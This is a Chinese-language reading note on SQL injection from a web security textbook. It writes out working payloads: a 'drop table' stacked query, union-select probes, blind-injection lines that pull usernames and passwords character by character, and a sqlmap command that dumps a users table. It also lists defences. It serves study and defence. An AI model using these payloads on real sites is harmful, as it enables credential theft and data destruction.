讀書筆記-白帽子講web安全-注入攻擊
1,sql注入
原本sql語句為:
select * from ordersTables where shipcity = 'Beijing'
插入惡意語句:
select * from ordersTables where shipcity = 'Beijing';drop table ordersTables--'
注入攻擊的兩個條件:
- 使用者能夠控制資料的輸入
- 原本要執行的程式碼,拼接了使用者的輸入
注意錯誤回顯
(1)盲注(blind injection)
web關閉了錯誤回顯,在伺服器沒有錯誤回顯時完成的注入攻擊。
(2)timing attack
2,資料庫攻擊技巧
(1)常見的攻擊技巧
猜解出資料庫的對應版本,如果mysql版本是4,返回true
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
用union select 來分別確認表名admin是否存在,列名passwd是否存在
id=5 union all select 1,2,3 from admin
id=5 union all select 1,2,passwd from admin
進一步,想要猜解出username 和 password具體的值
id=5 and ascii (substring ( ( select concat (username,0x3a,passwd) from users limit 0,1),1,1))>64 /*ret true)*/
id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users limit 0,1),1,1) >96 /*ret true*/
id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users limit 0,1),1,1) >100 /*ret true*/
id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users limit 0,1),1,1) >97 /*ret true*/
id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users limit 0,1),1,1) >64 /*ret true*/
...
用sqlmap工具
python sqlmap.py -u "http://xxxx.com/xxx/get_int.php?id=1" --dump -T users
(2)命令執行
利用“使用者自定義函式”的技巧,即UDF來執行命令。
(3)攻擊儲存過程
(4)編碼問題
(5)sql column truncation
3,正確防禦sql注入
(1)使用預編譯語句
(2)使用儲存過程
(3)檢查資料型別
(4)使用安全函式
4,其他注入攻擊
(1)xml注入
(2)程式碼注入
(3)CRLF注入